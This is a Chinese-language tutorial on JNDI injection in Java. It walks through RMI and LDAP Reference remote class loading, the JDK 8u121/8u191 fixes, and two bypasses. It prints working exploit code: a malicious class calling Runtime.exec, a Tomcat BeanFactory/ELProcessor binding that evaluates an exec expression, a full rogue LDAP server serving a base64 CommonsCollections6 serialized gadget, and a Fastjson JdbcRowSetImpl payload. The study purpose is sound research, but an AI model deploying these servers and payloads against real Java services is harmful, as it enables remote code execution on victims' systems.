一.简介 简述
JNDI(Java Naming and Directory Interface)是 Java 提供的标准命名和目录接口, 通过统一的 JNDI API 使 java 应用程序能够访问各种命名和目录服务。 它允许开发人员以统一的方式查找和访问资源,如用户、网络、机器和服务等。
JNDI SPI
SPI 即服务提供者接口,JNDI 架构由 API 和服务提供者接口 (SPI) 组成。SPI 支持以透明方式插入各种命名和目录服务,所以我们的应用能使用 JNDI 的 API 访问相关服务的接口
JDK 提供了以下服务和接口:
LDAP :轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
通用对象请求代理体系结构 (CORBA) 通用对象服务 (COS) 名称服务
RMI: JAVA 远程方法协议,调用 java 远程服务器上的对象
域:服务 (DNS)
前三种都满足一个字符串绑定一个对象,其中漏洞涉及最多的是 LDAP 和 RMI 两种服务接口
简单了解一下命名服务和目录服务:
命名服务
命名服务:将 java 对象以某个名称的形式绑定 bind 到 容器环境 Context 中(容器环境也就是上下文,在后续调试过程中要关注的) 。(容器环境本身也是一个 java 对象),之后调用容器可以查找出名称绑定的 java 对象。例如:RMI 通过名称查找并调用远程对象,DNS 通过域名查找 ip。它们都是命名服务
目录服务
目录服务是命名服务的扩展,主要的区别在于 目录容器环境 DirContext 中保存的是对象的属性信息,而不是对象本身,所以,目录提供的是对属性的各种操作,也就是说它的容器环境中绑定的是对象的属性。例如:LDAP
以上是 JNDI 的四个服务,对应四个包外加一个主包
javax.naming
javax.naming.directory
javax.naming.event
javax.naming.ldap
javax.naming.spi
JNDI API 中提供的代表目录容器环境的类为 DirContext,DirContext 是 Context 的子类
NDI API 中提供了一个 InitialDirContext 类来创建用作 JNDI 命名与目录属性操作的入口 DirContext 对象 。
https://www.cnblogs.com/drunkPullBreeze/p/15466001.html
JNDI 详细介绍
二.JDNI 结合 RMI 的原生漏洞
服务端:实例化了一个初始化上下文对象,用它来执行对应的操作 bind
1 2 3 4 5 6 7 8 9 10 public class RMIServer { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); InitialContext initialContext=new InitialContext(); initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); } }
客户端
API 是用的 JDNI 的,还是初始化上下文对象进行查找远程对象
1 2 3 4 5 6 7 8 9 public class RMIClient { public static void main(String[] args) throws NamingException, RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { String uri = "rmi://127.0.0.1:1099/remoteObj"; InitialContext initialContext = new InitialContext(); IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup(uri); System.out.println(remoteObj.sayhello("hello")); } }
原生漏洞:
客户端 lookup 查询,可以看到进入了 RegistryContext.lookup,底层走的还是 RegistryImpl_Stub.lookup 包括上面的 rebind 也是走的 RMI 中注册中心静态 stub 逻辑, 所以用 JNDI 接口访问 RMI, 底层还是走的原生的 RMI 服务 ,当他们两个结合起来使用,RMI 的漏洞也是同样适用的
三.JNDI 注入漏洞 3.1 JNDI+RMI 简单来说:JNDI 注入就是从远程工厂位置动态加载恶意类,造成客户端的攻击。
RMI 绑定的是远程对象,传统的 JNDI 注入是绑定的引用对象。
1 Reference reference = new Reference ("Calc" , "Calc" , "http://127.0.0.1:7000/" );
1 initialContext.rebind("rmi://localhost:1099/remoteObj" , reference);
1.1 Reference 即命名引用,构造方法:
引用本身并不持有对象数据,而是通过直接指针或句柄(特殊的指针) 2 种方式来访问真正的对象数据;
构造器:
1 2 3 4 5 public Reference(String className, String factory, String factoryLocation) { this(className); classFactory = factory; classFactoryLocation = factoryLocation; }
<font style="background-color:rgb(249, 242, 244);">className</font> - 远程加载时所使用的类名
<font style="background-color:rgb(249, 242, 244);">classFactory</font> -工厂名
<font style="background-color:rgb(249, 242, 244);">classFactoryLocation</font> - 工厂的位置
tips:既然都叫引用了,那就类似指针还有解引用,它相当于接下来说的 decodeObject 里面调用的 NamingManager.getObjectInstance
1.2 代码演示 JNDI 注入与使用哪种服务无关,这里以 RMI 为例:
服务端 :相当于用 Reference 代理了远程对象,Reference 实例化时传参是将 Reference 对象绑定到了注册中心
1 2 3 4 5 6 7 8 9 public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099 ); InitialContext initialContext=new InitialContext (); Reference reference = new Reference ("Calc" , "Calc" , "http://127.0.0.1:7000/" ); initialContext.rebind("rmi://localhost:1099/remoteObj" , reference); }
恶意类 :python 起一个服务指向设置的恶意端口 7000,并将恶意类编译后放在服务目录下(注意需要把 package 去掉,再进行编译,因为服务目录下是没有包目录的)
1 2 3 4 5 6 7 public class Calc { public Calc () throws Exception { Runtime.getRuntime().exec("calc" ); } }
客户端: JNDI 的 API 直接查询即可触发
1 2 3 4 5 6 7 8 9 public class RMIClient { public static void main (String[] args) throws NamingException, RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { String uri = "rmi://127.0.0.1:1099/remoteObj" ; InitialContext initialContext = new InitialContext (); IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup(uri); System.out.println(remoteObj.sayhello("hello" )); } }
1.3 断点分析 漏洞不是出现在远程交互时,而是在交互之后。我们看看客户端向注册中心查询时,怎么个流程就触发了漏洞
在客户端 lookup 下断点进行调试
首先先进入到之前说的 RegistryContext.lookup 这个容器环境的方法里面,之后是调用的 RMI 的原生方法—>即执行 RegistryImpl_Stub 建立网络连接进行交互获得对象的逻辑
完成了交互,接着从 decodeObject 这里跟进去这里算是 JNDI 注入的连接入口,参数 var2 是查询之后的结果发现是 Reference 类是因为在服务端 rebind 的时候调用 encodeObject 进行转换
RegistryContext.decodeObject :先是进行判断是否是 RemoteReference 类获得一个返回值,var3,定义为 Object 引用,var3 是封装的 Reference 对象里面包含有类名及加载类的地址,然后接下来重点关注的是 getObjectInstance 方法,传的前两个参数是 Reference 对象和工厂名称 name
NamingManager.getObjectInstance:
buiilder 这里没有执行逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; // Use builder if installed ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null) { // builder must return non-null factory factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } // Use reference if possible Reference ref = null; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively factory = getObjectFactoryFromReference(ref, f); if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); } // No factory found, so return original refInfo. // Will reach this point if factory class is not in // class path and reference does not contain a URL for it return refInfo; } else { // if reference has no factory, check for addresses // containing URLs answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null) { return answer; } } } // try using any specified factories answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null) ? answer : refInfo; }
上面的执行逻辑:传入的 Object 是引用类型实例或其子类实例,就进行强转,赋值给 ref, 判断 ref 及它的 factory 不为空就调用方法 getFactoryFromReference()获得 Reference 的 factory
getObjectInstacne 这个方法设计之初是为了让 JNDI 去处理 RMI 的注册中心绑定对象为 Reference 的这种情况,用引用对象去加载真正的对象, JNDI 支持解引用,它的原因其实是在这里。
跟进**NamingManager.getFactoryFromReference()**,类加载的逻辑就都在这里
首先是 AppClassLoader 进行加载类,这里 helper 是抽象类 VersionHelper 的实例化对象,而 VersionHelper12 实现该抽象类,调的就是 VersionHelper12.loadClass 方法,调用重载的方法 forName,全类名反射,但是本地肯定加载不类,所以返回给的 cls 为空
1 2 clas = helper.loadClass(factoryName);
VersionHelper12.loadClass
APP 从本地没有加载到接着会从 codebase 中加载,即传给 factoryLocation 的那个 url,下一步还是 helper 调用 loadClass 进行类加载,进入到 VersionHelper12.loadClass
该方法里面先用 URLClassLoader 实例化生成类加载器,又进入重载的方法还是反类名反射获得类对象
回顾一下,重载方法这里 forName 全类名反射会触发类的初始化执行并合并静态代码块和静态变量 。所以如果我的恶意代码写在了静态方法中,此时已经可以弹出计算器了,但我们写在了构造方法中,就需要后面的实例化才能触发
重载的方法 VersionHelper12.loadClass:
1 2 3 4 5 6 Class<?> loadClass(String className, ClassLoader cl) throws ClassNotFoundException { Class<?> cls = Class.forName(className, true , cl); return cls; }
这里加载类成功,之后返回刚刚的流程接着 getFactoryFromReference()那里最后实例化触发恶意类构造函数执行,弹出计算器
再说一下返回值赋给了 factory,所以它是恶意类的实例化对象
该漏洞在 jdk8u121 中被修复。在 RegistryContext.decodeCodeObject 里面增加了 trustURLCodebase
只有当客户端手动开启之后才允许远程加载类,虽然但是危险加载类的方法是在 NamingManager.getFactoryFromReference(),在 8u191 之前 LDAP 的 Context 中并没有进行修复,所以 LDAP 还是能攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private Object decodeObject(Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; Reference var8 = null; if (var3 instanceof Reference) { var8 = (Reference)var3; } else if (var3 instanceof Referenceable) { var8 = ((Referenceable)((Referenceable)var3)).getReference(); } if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); } else { return NamingManager.getObjectInstance(var3, var2, this, this.environment); } } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }
总结 造成攻击的原因:
在服务端 bind 了一个 Reference 引用对象到注册中心,客户端 lookup 向注册中心查询它并下载到本地,会到 Reference 的 classFactoryLocation 指定的地址去下载 className 指定 class 文件,攻击者可以在构造方法或者是静态代码等地方加入恶意代码,接着加载并实例化,从而加载远程恶意 class 实现 RCE。
JNDI+RMI 的攻击:
原生 RMI:JNDI 的 API(InitialContext)调用 lookup 走的还是 RMI 的逻辑
JNDI 注入:客户端进行调用时会走完 RMI 原生逻辑之后调用 decodeObject 里面最后走到加载 Reference 的 factory,即方法 getFactoryFromReference(),主要是运用动态类加载造成漏洞造成攻击的原因:
3.2 JNDI +LDAP 1.1 LDAP 上面简介中讲 LDAP 属于目录服务,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。
LDAP 目录服务是由目录数据库和一套访问协议组成的系统。所以它既是一个服务也是协议
LDAP 并不是 java 的东西,它是一个协议
在这里用 ApacheDirectoryStudio 先启动一个 LDAP 服务
然后服务端用 JNDI 去连接,并且绑定引用对象到 LDAP 服务上,引用对象里面封装的恶意 http 服务端:
1 2 3 4 5 6 7 8 public class LDAPServer { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); Reference reference = new Reference("Calc","Calc","http://127..0.1:7000/"); initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference); } }
可以看到已经绑定成功了
再运行客户端,弹出计算器。客户端 lookup,是根据传递参数的协议,进而走相对应的 Context 逻辑
1 2 3 4 5 6 public class LDAPClient { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com"); } }
1.2 断点分析 还是 lookup 处下断点,接着进入 LdapCtx.c_lookup—–>DirectoryManager.getObjectInstance()它是 NamingManager 的子类—>NamingManager.getObjectFactoryFromReference()
就还是来到了前面所说的动态类加载的地方,一样的流程先从本地加载没加载到,从获取的 codebase 中进行加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 //NamingManager.getObjectFactoryFromReference() static ObjectFactory getObjectFactoryFromReference( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null; // Try to use current class loader try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // All other exceptions are passed up. // Not in class path; try to use codebase String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null) ? (ObjectFactory) clas.newInstance() : null; }
总结 LDAP+JNDI 还是将 Reference 引用对象进行绑定,只不过绑定到了 LDAP 端
攻击点:客户端获取了绑定的对象之后,获取 Reference 的工厂对象 factory,进而导致远程类加载
至此仅依赖 jdk 内置源码的 JNDI 注入收尾,下面高版本的绕过需要其他依赖
四.绕过高版本 jdk(>191) 高版本修复点 :在 jdk8u191 之后,还是先从本地进行加载,再从 codebase 进行加载,但是从 codecase 中加载类时,不同于 RMI 在 RegistryContext 的修复在这里是 loadClass 添加了 trustURLCodebase 进行修复,是 true 的时候才允许从远端进行加载。它走到获得引用对象那里都是 ok 的,只是不允许远程从工厂位置加载类。说明引用对象还是可以利用的。
4.1 绕过一 本地加载工厂对象,以此为连接点,执行工厂对象的恶意方法
前面逻辑:DirectManger.getObjectInstance()调用 NamingManger.getFactoryFromReference() 在获取工厂的方法中加载类造成攻击
而高版本获取工厂对象被修复·正常执行而不是作为攻击点,之后又正常走回到 DirectManger.getObjectInstance,调用 factory 的 getObjectInstancee,factory 是获取的工厂类对象,并且传入方法的参数都是可控的,注意下传入的第一个参数 ref 是绑定的引用对象。所以就得先找到一个工厂类来连接后续的攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment, Attributes attrs) throws Exception { ...... Object answer; if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively factory = getObjectFactoryFromReference(ref, f); if (factory instanceof DirObjectFactory) { return ((DirObjectFactory)factory).getObjectInstance( ref, name, nameCtx, environment, attrs); } else if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); } // No factory found, so return original refInfo. // Will reach this point if factory class is not in // class path and reference does not contain a URL for it return refInfo; } ......
找依赖优先找最常见的,最终选择 tomcat 的 org.apache.naming.factory.BeanFactory
它调用 getObjectInstance
代码 先绑定引用对象到 RMI
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) throws NamingException, RemoteException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099 ); InitialContext initialContext = new InitialContext (); ResourceRef resourceRef = new ResourceRef ("javax.el.ELProcessor" ,null ,"" ,"" , true ,"org.apache.naming.factory.BeanFactory" ,null ); resourceRef.add(new StringRefAddr ("forceString" , "x=eval" )); resourceRef.add(new StringRefAddr ("x" ,"Runtime.getRuntime().exec('calc')" )); initialContext.rebind("rmi://localhost:1099/remoteObj" , resourceRef); }
客户端还是直接调用
那接下来看为什么绑定引用对象那样写,跟进调试 BeanFactory.getObjectInstance()
该方法中反射实例化了一个 beanclass 对象,反射调用 setterName,且它可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 public class BeanFactory implements ObjectFactory { public BeanFactory() { } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference)obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException var26) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException e) { e.printStackTrace(); } } if (beanClass == null) { throw new NamingException("Class not found: " + beanClassName); } else { BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap(); if (ra != null) { String value = (String)ra.getContent(); Class<?>[] paramTypes = new Class[]{String.class}; for(String param : value.split(",")) { param = param.trim(); int index = param.indexOf(61); String setterName; if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (SecurityException | NoSuchMethodException var24) { throw new NamingException("Forced String setter " + setterName + " not found for property " + param); } } } Enumeration<RefAddr> e = ref.getAll(); while(e.hasMoreElements()) { ra = (RefAddr)e.nextElement(); String propName = ra.getType(); if (!propName.equals("factory") && !propName.equals("scope") && !propName.equals("auth") && !propName.equals("forceString") && !propName.equals("singleton")) { String value = (String)ra.getContent(); Object[] valueArray = new Object[1]; Method method = (Method)forced.get(propName); if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); ......
beanClass 就是引用对象传入的类 ELProcessor
setterName 就是由引用对象 ref.get(forceString)得到的:
从 Reference 中取名为 forceString 的值( “x=eval”),将其解析为“属性名 -> 方法名”的映射,接着检查是否存在等号(ascii=61),不存在就到用默认的 setter 方法,当然我们传入值是存在=的,就会强制设置 setterName 等于键为 x 对应的值 eval
之后这里将 beanclass 生成的抽象 eval 的 Method 方法存在了 HashMap 中
从下一个元素中取名为 x 的值作为反射调用方法的参数,并且从 forced 这个 HashMap 表中获得方法赋值给 Method
然后执行 method.invoke,反射调用
4.2 绕过二 跟着调试了一下,发现 Ldap 和 RMI 高版本不一样,加载本地工厂,执行工厂恶意方法反射调用是走不通的:
可以看到工厂执行的恶意方法首先有检测,传入的参数需要为 ResourceRef 的子类,才会进入 if 执行反射调用方法
往前调,工厂对象的 getObjectInstance 恶意方法是在 DirectManager.getObjectInstance 方法中获取完工厂对象后调用的。
再往前调,第一个参数是由 decodeObject 方法获得的,为 Reference 类型
tips:一个知识点和上面没啥关系,但也是上面跟踪的时候差点误以为 LDAP 打不通的点:
RMI,LDAP 工厂对象调用恶意方法时的参数,虽然都经过了强制类型转化,转化为 Reference,但这是父类引用指向子类对象。在编译时是父类引用,但在执行过程中是以原本的类型执行。RMI 的参数就是我们绑定的 ResourceRef 对象强转,Ldap 是 decodeObject 返回的变量 var3 是 Reference 类型
所以接下来学高版本绕过二:
LDAP 在获取远远程对象之后进行 decodeObject 解码,该方法中触发反序列化
如果 java 对象的 javaClassName 属性值不为空,就会调用 deserializeObject 反序列化方法,
该方法中如果 javaSerializedData 属性值不为空,获得一个 URLClassLoader 并返回一个序列化数据
代码 ysoserial 生成 CC6gadget
服务端客户端都添加依赖:
1 2 3 4 5 6 7 8 9 10 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.80</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 package JNDI_RMI_Injection;import com.unboundid.util.Base64;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import java.text.ParseException;public class JNDILDAP_bypass { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://vps:8000/#ExportObject" ; int port = 7000 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } try { e.addAttribute("javaSerializedData" , Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=" )); } catch (ParseException exception) { exception.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
客户端:先用 lookup 攻击,后续再学习 Fastjson
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package JNDI_RMI_Injection; import com.alibaba.fastjson.JSON; import javax.naming.Context; import javax.naming.InitialContext; public class JNDILDAPClient_bypass { public static void main(String[] args) throws Exception { // lookup参数注入触发 Context context = new InitialContext(); context.lookup("ldap://localhost:7000/ExportObject"); /* // Fastjson反序列化JNDI注入Gadget触发 String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }"; JSON.parse(payload);*/ } }
调试 自己先试着调。
一如既往地 lookup 下断点,先是进入 Ldap 对应的上下文 LdapCtx.lookup
ClassName 属性值存在进入 decodeObject,
这里条件 javaSerializedData 属性值不为空也是满足的,进入 deserializeObject
readObejct 反序列化
五. 总结